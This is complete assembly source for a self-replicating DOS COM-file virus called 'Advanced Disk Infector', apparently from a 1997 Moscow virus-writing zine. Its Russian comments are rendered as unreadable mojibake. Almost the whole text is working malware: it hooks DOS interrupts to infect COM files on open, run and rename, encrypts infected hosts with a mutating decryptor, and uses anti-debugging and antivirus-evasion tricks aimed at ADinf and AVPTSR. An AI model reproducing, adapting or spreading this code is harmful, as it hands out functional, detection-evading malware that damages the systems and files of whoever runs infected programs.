Ŀ
INFECTED MOSCOW #1 JAN'97 (C)STEALTH Group MoscoW & Co  one@redline.ru  

Ŀ
 Advanced Disk Infector Virus                      (C)                    

;
;          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
;
;                    (C) Copyright, 1997-98, by Beast, (SGWW)
;
;	ਢ ᥬ ⥫ Infected Voice. 筮 ⠭   
;誥.    ᭥   .   㡠誠.  ⠪ 
;15-20 ࠤᮢ   祣.  ᨤ । ᢮ ⢥ -
;襭 - XT'誮  CGA   .     拉 ⥡ ࠧ -
; ᢮   頥 ADinf'. - 䭮  ᪨஢
;। ਣ . ⮢ - 饥 .  ⠪ ⬮ -
;ࠦ  CommanderBomber.  -  ⠪  㤥   १ࢠ-
;⨢ Award'a, AMI,   write protected  ᪥.   ।⠢ ᢮
; ந - Advanced Disk Infector version 1.5     -
; ९ᠭ ࢠ  ADinf'.   -  :
;
;1.  訡 int 24h
;2. ﭮ ⠭ int 1, int 0, int 3  iret
;3.  ࠦ 誠 int 8  ⠭  iret int 2Ah (  AVPTSR)
;4. 宦 ਣ쭮 int 21h १ PSP  int 30h/31h
;5. ᯮ " ᠤ"
;6. ᫥ ࠦ  䠩    ᮬ   
;   ஢騪.
;7. 楤 ஢ 䠩 - 䭠. ( .6)
;8.  䠩   ஢ 2-3 ࠧ. (  㣠    
;    ஢騪)
;9.     ((200-250)*-_訢஢)  祬 䠪᪠ 
;   ਡ  䠩.
;10. 㦨 Web'. (㣮  ஡)
;11.  ADinf'
;12. ⠭ AVPTSR'
;13.᮪ ᪮ ࠧ.  㭪樨 DOS'  室 DS:DX 
;    䠩.
;14. १ 䠩   ⨢  (१ࢠ⨢)
;   騥  int 21h
;15. ⨪ ᯮ짮
;   1.   ⠡ ஢
;   2. ⥭  ⮢
;   3. 誠 int 3, int 1, int 0
;   4. ஢
;   5. ᠤ    2 ⠯ (१ PSP:000A )
;   6. 맮 mov ax,0E0E0h/int 21h/or al,al/jz $+4/int 20h/
;   7.    ணࠬ (far call in PSP:00FB) 
;16.⢨ 樨. (諥)
;17. Copyright'.
;
;   P.S.  ਭ ᢮        ࠦ EXE-譨
;   >|-:).    ᫮:
;
;  ࠦ  -    ⬠.
;
;  ࠦ EXE'譨 ⠭⭮.
;
;  P.S.1.  ࠤ  ᮮ饭   . 
;						() by Beast.
;
		.model tiny	;     祣
		.code
		org	100h

Infected:	dec	bp  	  ; ਧ ࠦ  ᮪饭 ⥫ 
		jmp	WEB_IDIOT ; 室  ᠬ  

VIRR:		PUSH	CS	  ; ன ⠫,  । ࠢ-
		POP	DS	  ;  ᫥ 襭 ண-⥫
		MOV	AH,48H	  
		MOV	BX,VP
		INT	21H	  ; 뤥   
		JNC	GOOD_ALLOCATE
		RET		  ;  ⠪ 権   ,  ᥦ

GOOD_ALLOCATE:	PUSH	ES DS BX DX
		CALL	GET_ORIGINAL_INT_21H	; 㤥 ਣ int 21h
		POP	DX BX DS ES
		MOV	ES,AX		; ES= ᥣ
		CLD
		MOV	SI,0
		MOV	DI,SI		;   
		MOV	CX,VL
	REP	MOVSB
		MOV	DS,AX
		MOV	AX,3521H
	; 墠⨬ int 21h
		INT	21H
		MOV	DS:[ADDRES21-VIRR+2],ES
		MOV	DS:[ADDRES21-VIRR],BX
		MOV	AX,2521H
		MOV	DX,INT21MANAGER-VIRR
		INT	21H

		MOV	AX,3524H	; 墠⨬ int 24h
		INT	21H
		MOV	DS:[ADR24-VIRR+2],ES
		MOV	DS:[ADR24-VIRR],BX
		MOV	AX,2524H
		MOV	DX,NEW24H-VIRR
		INT	21H

		MOV	AX,3508H	; 墠⨬ int 08h
		INT	21H
		MOV	DS:[ADR8-VIRR+2],ES
		MOV	DS:[ADR8-VIRR],BX
		MOV	AX,2508H
		MOV	DX,NEW8-VIRR
		INT	21H

		MOV	AX,251CH	; 墠⨬ int 1Ch
		MOV	DX,NEW1CH-VIRR
		INT	21H

		MOV	BYTE PTR DS:[A24-VIRR],1 ;   ࠡ稪 int 24h
						 ; ᪠   ᥩ ⨢-
						 ; .
		PUSH	DS
		POP	AX
		DEC	AX
		MOV	ES,AX			; ⥯   
		MOV	BYTE PTR ES:[1],8	; is DOS Reserved
		RET			

;*****************************************************************;
;*                      I N S T A L L E R                        *;
;*****************************************************************;
VirrInstall:	CALL	$+3		; 㤠   ?
		POP	SI
		SUB	SI,VIRRINSTALL-VIRR+3
		MOV	AX,9876H
		INT	21H
		JC	ALREADY_IN_MEM
   ;***********************************************************;
   ;                    I m p o r t a n t                     *;
   ;***********************************************************;
		PUSH	SI ES 
		MOV	BX,CS:[02]		;   㤠  
		SUB	BX,VP			;   ࠧ.  㤥 訬 
		MOV	ES,BX			; ६ ⠭饬. (-
						;   ᫮ " -
						;   ﭭ 祬 -
						; "  
;--------------------------------------------
;     ࠧ
;--------------------------------------------
		MOV	DI,0
		MOV	CX,VL
	REP	MOVSB
		MOV	AX,CS:[10]		; ࠭塞 ਣ  
		MOV	ES:[FORRET-VIRR],AX	;  (ࠧ)
		MOV	AX,CS:[12]
		MOV	ES:[FORRET-VIRR+2],AX
		MOV	AX,ES			;  ⠭  ࠧ
		MOV	CS:[12],AX		; ()  ᢮ ६
		MOV	AX,RETURN-VIRR		; ⠭
		MOV	CS:[10],AX
		POP	ES SI
ALREADY_IN_MEM:

;--------------------------------------------
;  ਣ   
;--------------------------------------------
		MOV	DI,100H			; 稬  祭 -
		PUSH	DI			; ࠬ - ⥫,  ࠢ-
		ADD	SI,BYTES-VIRR		;   ࠧ  ࠢ 
		MOVSW				;  ⤠
		MOVSW
		RET

NEW_BYTES:	DEC	BP    ; ⪠ ࠦ
		DB	0E9H
JMP_ADR		DW	?

;--------------------------------------------------------------------
;   祪    ᫥ 襭 ண
;--------------------------------------------------------------------
RETURN:		CALL	VIRR  ; ᠬ     ன ⠫
		DB	0EAH  ;JMP Far  ணࠬ ⨢ ண  ன
FORRET		DD	?     ; ᯥ譮 ந㫨஢.

;--------------------------------------------
;   ਣ  ணࠬ.
;--------------------------------------------
BYTES:		NOP
		NOP
		INT	20H

;--------------------------------------------
;        ࠡ稪 21- ࠯
;--------------------------------------------
INT21MANAGER:	
		PUSHF
		CMP	AX,9876H	; ஢      ᮢ
		JNE	NO_BROTHER	; ⠫஢  ?
		POPF
		STC
		RETF	2
NO_BROTHER:
				;  ᯨ᮪ 㭪権 ,  
				; ந室 ࠦ

		CMP	AH,3DH	; ⨥
		JE	CHECK
		CMP	AH,4BH	; ᯮ
		JE	CHECK
		CMP	AH,43H	;  ਡ⮢
		JE	CHECK
		CMP	AH,56H	; २
		JE	CHECK
		JMP	NO_CHECK_DS_DX
CHECK:		PUSH	AX BX CX DX DS ES DI SI BP
		CALL	INFECTION	;  (஦ )
		POP	BP SI DI ES DS DX CX BX AX
		JMP	NO_CHECK
NO_CHECK_DS_DX:
		;     ⥫ ᤥ ࠦ  4e/4f
NO_CHECK:
		POPF
		DB	0EAH	; Far JUMP    ਣ, -
ADDRES21	DD	?	;  १ࢠ⨢ int 21h

;---------------------------------------------------------------------------
; ࠦ 䠩 DS:DX - file name for infection
;---------------------------------------------------------------------------

INFECTION:	MOV	AX,3D00h ; No comment ;)
		CALL	OR21	 
		JNC	$+3
		RET
		MOV	BX,AX
		PUSH	AX		; Don't worry it just get
		MOV	AX,1220H	; System File's Tabel
		INT	2FH
		MOV	BL,BYTE PTR ES:[DI]
		MOV	AX,1216H
		INT	2FH
		POP	BX
		MOV	BYTE PTR ES:[DI+2],2	; Now he is read/write opened
		PUSH	CS
		POP	DS
		
		MOV	DX,OFFSET BYTES-OFFSET VIRR
		MOV	CX,4			; Read first 4 bytes
		MOV	AH,3FH
		INT	21H
		CMP	BYTE PTR DS:[BYTES-VIRR],'M' ; It infected or EXE
		JE	CLOSE
		MOV	AX,ES:[DI+17]
		CMP	AX,60000		; We can't infect above 60000
		JA	CLOSE
		CMP	AX,VL			; and don't want bellow VirLen
		JB	CLOSE
		CMP	WORD PTR ES:[DI+32],'OC' ; Don't infect CO??????.COM
		JE	CLOSE
		CMP	WORD PTR ES:[DI+32+8],'OC' ; Check: Does it CO? file
		JNE	CLOSE			   ; No
		MOV	ES:[DI+21],AX		   ; Yes
		ADD	AX,WEB_IDIOT-VIRR-4	   ; Make jump to anti-web 
		MOV	DS:[JMP_ADR-VIRR],AX	   ; pattern

		push	bx			; Turn off int 8h
		CALL	OFF_08_24_2A		; int 24h and int 2ah
		pop	bx

		MOV	AH,40H			; Write virus body in file
		CWD
		MOV	CX,VL
		CALL	OR21

		XOR	AX,AX
		MOV	ES:[DI+21],AX

		MOV	AH,40H			; And write jump to begin file
		MOV	DX,NEW_BYTES-VIRR
		MOV	CX,4
		CALL	OR21

AGAIN_PROTECT:	CALL	CRYPT_ALL_FILE		; Call suboutine for crypt all
		IN	AL,40H			; file
		CMP	AL,10h			; Cay we do it again
		JB	AGAIN_PROTECT		; Yes ! ! !

		CALL	ON_08_24_2A		; Turn on int 8 and int 24h
CLOSE:
		MOV	AH,3EH			; Close him.
		INT	21H
		RET

OR21:		PUSHF				;  맮 ⮣  ᫥ 
		PUSH	CS			; int 21h
		CALL	ORIG_INT_21
		RET
ORIG_INT_21:
		DB	0EAH
TRACED_21H	DW	?,?


;--------------------------------------------------------------------------
; 몫祭 int 8, int 24h, int 2Ah
;--------------------------------------------------------------------------

OFF_08_24_2A:	MOV	BYTE PTR DS:[A24-virr],0
		IN	AL,21H	
		OR	AL,1
		OUT	21H,AL
		MOV	AX,252AH
		MOV	DX,NEW2AH-VIRR
		CALL	OR21
		RET


;--------------------------------------------------------------------------
; 祭 int 8, int 24h, int 2Ah
;--------------------------------------------------------------------------

ON_08_24_2A:	IN	AL,21H
		AND	AL,11111110B
		OUT	21H,AL
		MOV	BYTE PTR DS:[A24-VIRR],1
		RET
A24		DB	1

NEW24H:		PUSHF
		CMP	BYTE PTR CS:[A24-VIRR],0
		JNE	ACTIVE24H
		POPF
		MOV	AL,3
NEW2AH:
		IRET
ACTIVE24H:	DB	0EAH
ADR24		DW	?,?


;---------------------------------------------------------------------------
; ⠢ ਣ쭮 int 21h.  室  TRACED_21H ਣ 21h.
;---------------------------------------------------------------------------

GET_ORIGINAL_INT_21H:
		CALL	PSP_TRACE
		JNC	FOUNDED_21H
		CALL	INT30_TRACE
		JNC	FOUNDED_21H
		MOV	AX,3521H
		INT	21H
		PUSH	ES
		POP	DS
		MOV	BX,DX
FOUNDED_21H:	MOV	WORD PTR CS:[TRACED_21H+2-VIRR],DS
		MOV	WORD PTR CS:[TRACED_21H-VIRR],BX
		RET
PSP_TRACE:	LDS	BX,DS:[6]
TRACE_NEXT:	CMP	BYTE PTR DS:[BX],0EAH
		JNZ	CHECK_DISPATCH
		LDS	BX,DS:[BX+1]
		CMP	WORD PTR DS:[BX],9090H
		JNZ	TRACE_NEXT
		SUB	BX,32H
		CMP	WORD PTR DS:[BX],9090H
		JNZ	CHECK_DISPATCH
GOOD_SEARCH:	CLC
		RET
CHECK_DISPATCH:	CMP	WORD PTR DS:[BX],2E1EH
		JNZ	BAD_EXIT
		ADD	BX,25H
		CMP	WORD PTR DS:[BX],80FAH
		JZ	GOOD_SEARCH
BAD_EXIT:	STC
		RET
INT30_TRACE:	SUB	BX,BX
		MOV	DS,BX
		MOV	BL,0C0h
		JMP	SHORT TRACE_NEXT

CRYPT_ALL_FILE:

		CALL	MUTATION    ; ஢ ஢騪  ஢騪

		IN	AX,40H
		MOV	WORD PTR DS:[WITH_AX+1-VIRR],AX
					;   訢஢騪  ਣ
		MOV	AX,ES:[DI+17]	;  
		SUB	AX,4
		PUSH	AX
		MOV	DS:[ENCRYPT-VIRR+1],AX

		MOV	DS:[EN_JMP+2-VIRR],AX
		
		SUB	AX,AX
		MOV	Es:[DI+21],AX

		MOV	CX,4
		MOV	AH,3FH
		MOV	DX,VIR_BYTES-VIRR
		CALL	OR21


		MOV	AX,ES:[DI+17]
		MOV	ES:[DI+21],AX
		MOV	CX,EL
		MOV	DX,ENCRYPT-VIRR
		MOV	AH,40H
		CALL	OR21

		XOR	AX,AX
		MOV	Es:[DI+21],AX
		MOV	AH,40H
		MOV	CX,4
		MOV	DX,EN_JMP-VIRR
		CALL	OR21
		POP	CX
		mov	ax,ds:[with_ax-virr+1]   ;  AX 砩 祭
CRYPT_LOOP:
		CALL	READ_BYTE		 ;   ண
		MOV	SI,REZ-VIRR

;                     

		SUB	BYTE PTR [SI],CH
		SUB	BYTE PTR [SI],CL
		SUB	BYTE PTR [SI],AH
		SUB	BYTE PTR [SI],AL

		ADD	BYTE PTR [SI],CH
		ADD	BYTE PTR [SI],CL
		ADD	BYTE PTR [SI],AH
		ADD	BYTE PTR [SI],AL

		XOR	BYTE PTR [SI],CH
		XOR	BYTE PTR [SI],CL


		XOR	BYTE PTR [SI],AH
CRYPT_DATA:
		XOR	BYTE PTR [SI],AL

		CALL	WRITE_BYTE	; ꥧ    

CRYPT_DATA1:	ADD	AL,CL
		ADD	AL,AH
		ADD	AL,AL
		ADD	AL,AH

		ADD	AH,CL
		ADD	AH,AH
		ADD	AH,AL
		ADD	AH,AH

		XOR	AL,AH
		XOR	AL,CL
		XOR	AL,CH

		XOR	AH,AL
		XOR	AH,CL
		XOR	AH,CH

		ROL	AL,CL
		ROL	AH,CL
		XCHG	AH,AL
		ROR	AH,CL
		ROR	AL,CL

		LOOP	CRYPT_LOOP
		RET
;---------------------------------------------------
; ஢騪 䠩
;---------------------------------------------------
ENCRYPT:	MOV	CX,0
		CALL	$+3
		POP	SI
		SUB	SI,6

;-------------------------------------------------------------------------------
; -⨪ । ࠢ ⪥ NXT_C    ⥪ CS  100h
;-------------------------------------------------------------------------------
		LEA	BX,[SI+NXT_C-ENCRYPT]
		MOV	BYTE PTR CS:[0FBH],9AH ; Far call 
		MOV	WORD PTR CS:[0FCH],BX
		MOV	WORD PTR CS:[0FEH],DS
		mov	ax,0fbh
		push	ax
		ret
NXT_C:
		ADD	SI,VIR_BYTES-ENCRYPT
		MOV	DI,100H
		MOVSW
		MOVSW
		MOV	DI,104H

WITH_AX:	MOV	AX,0
		jmp	out_copyright
		db	10,13
copyRIGHT	DB	'  (c) Beast. Advanced Disk Infector. [ADinf v1.5]',0,10,13
out_copyright:	PUSH	AX
;-------------------------------------------------------------------------------
;  - ⨪
;-------------------------------------------------------------------------------
		SUB	AX,AX
		mov	es,ax
		mov	es:[0],ax
		cmp	es:[0],ax
		je	$+4
		int	20h
;-------------------------------------------------------------------------------
;  - ⨪
;-------------------------------------------------------------------------------

		mov	ax,0e0e0h
		int	21h
		or	al,0
		jz	$+4
		int	20h
;-------------------------------------------------------------------------------
;  - ⨪
;-------------------------------------------------------------------------------

		in	al,40h
		or	al,al
		jnz	$+4
		int	20h

		POP	AX
		push	cs
		pop	es
ENCRYPT_LOOP:

;                    

DECRYPT_DATA:	XOR	BYTE PTR [DI],AL
		XOR	BYTE PTR [DI],AH
		XOR	BYTE PTR [DI],CL
		XOR	BYTE PTR [DI],CH

		SUB	BYTE PTR [DI],AL
		SUB	BYTE PTR [DI],AH
		SUB	BYTE PTR [DI],CL
		SUB	BYTE PTR [DI],CH

		ADD	BYTE PTR [DI],AL
		ADD	BYTE PTR [DI],AH
		ADD	BYTE PTR [DI],CL
		ADD	BYTE PTR [DI],CH


DECRYPT_DATA1:	ADD	AL,CL
		ADD	AL,AH
		ADD	AL,AL
		ADD	AL,AH

		ADD	AH,CL
		ADD	AH,AH
		ADD	AH,AL
		ADD	AH,AH

		XOR	AL,AH
		XOR	AL,CL
		XOR	AL,CH

		XOR	AH,AL
		XOR	AH,CL
		XOR	AH,CH

		ROL	AL,CL
		ROL	AH,CL
		XCHG	AH,AL
		ROR	AH,CL
		ROR	AL,CL

		INC	DI
		LOOP	ENCRYPT_LOOP
		RETF
VIR_BYTES	DB	90h,90h,90H,0C3h
EL		EQU	$-ENCRYPT
EN_JMP:		DEC	BP
		DB	0E9h
		DW	?
REZ		DB	?

READ_BYTE:	push	ax cx		; ᯮ  ஢
		MOV	AH,3FH
		JMP	SHORT FIN_DOS_OP

WRITE_BYTE:	PUSH	AX CX
		MOV	AH,40H
		DEC	WORD PTR ES:[DI+21]
FIN_DOS_OP:
		MOV	DX,REZ-VIRR
		MOV	CX,1
		CALL	OR21
		pop	cx ax
		RET

NEW1CH:		CALL	RESTORE_00_01_03
		IRET

NEW8:		CALL	RESTORE_00_01_03
		DB	0EAH
ADR8		DW	?,?

RESTORE_00_01_03:
		PUSHF
		PUSH	AX DS
		XOR	AX,AX
		MOV	DS,AX
		MOV	WORD PTR DS:[0],NEW2AH-VIRR	; iret
		MOV	WORD PTR DS:[2],CS
		MOV	WORD PTR DS:[4],NEW2AH-VIRR	; iret
		MOV	WORD PTR DS:[6],CS
		MOV	WORD PTR DS:[12],NEW2AH-VIRR	; iret
		MOV	WORD PTR DS:[14],CS
		POP	DS AX
		POPF
		RET

MUTATION:	PUSH	SI DI BX
		MOV	WORD PTR DS:[UP_RND-VIRR],11
		MOV	WORD PTR DS:[DOWN_RND-VIRR],0
		MOV	SI,DECRYPT_DATA-VIRR
		MOV	DI,SI
		CALL	GET_RND		;  砩 ᫮
		SHL	BX,1
		PUSH	BX
		ADD	SI,BX
		CALL	GET_RND		;   ஥   ᮮ-
		SHL	BX,1		; ⢨     ஢訪
		PUSH	BX		;  ஢騪
		ADD	DI,BX
		CALL	XCHG_SI_DI
		
		MOV	DI,CRYPT_DATA-VIRR
		MOV	SI,DI ;CRYPT_DATA-VIRR-2
		POP	BX
		SUB	DI,BX
		POP	BX
		SUB	SI,BX
		CALL	XCHG_SI_DI

		POP	BX DI SI
		RET

UP_RND		DW	?
DOWN_RND	DW	?

GET_RND:	IN	AX,40H
		MOV	BX,WORD PTR DS:[UP_RND-VIRR]
		SUB	BX,WORD PTR DS:[DOWN_RND-VIRR]

CONT_RND:	SUB	AX,BX
		CMP	AX,BX
		JA	CONT_RND
		MOV	BX,AX
		RET

XCHG_SI_DI:	PUSH	WORD PTR DS:[DI] ;  
		PUSH	WORD PTR DS:[SI] ; xchg word ptr [si],word ptr [di]
		POP	WORD PTR DS:[DI]
		POP	WORD PTR DS:[SI]
		RET
		
;--------------------------------------------
;            Web'  ᪥
;--------------------------------------------

WEB_IDIOT:	MOV	DI,102H
		mov	di,102h
		MOV	AX,[DI]
		SUB	AX,WEB_IDIOT-VIRRINSTALL
		MOV	[DI],AX
		SUB	DI,2
;--------------------------------------------------
;  - ⨪
;--------------------------------------------------

		SUB	AX,AX
		MOV	ES,AX
		MOV	WORD PTR Es:[0],0
		MOV	WORD PTR Es:[4],0
		MOV	WORD PTR Es:[6],0
		MOV	WORD PTR Es:[3*4],0
		MOV	WORD PTR Es:[3*4+2],0

		CMP	WORD PTR Es:[0],0
		JE	$+4
		INT	20H
		CMP	WORD PTR Es:[4],0
		JE	$+4
		INT	20H
		CMP	WORD PTR Es:[6],0
		JE	$+4
		INT	20H
		CMP	WORD PTR Es:[3*4],0
		JE	$+4
		INT	20H
		CMP	WORD PTR Es:[3*4+2],0
		JE	$+4
		INT	20H
		push	cs
		pop	es
		PUSH	DI
		RET
BUFFER		LABEL	BYTE
VL		EQU	$-VIRR
VP		EQU	(VL/16)+1		; Finita la comedia
		end	Infected
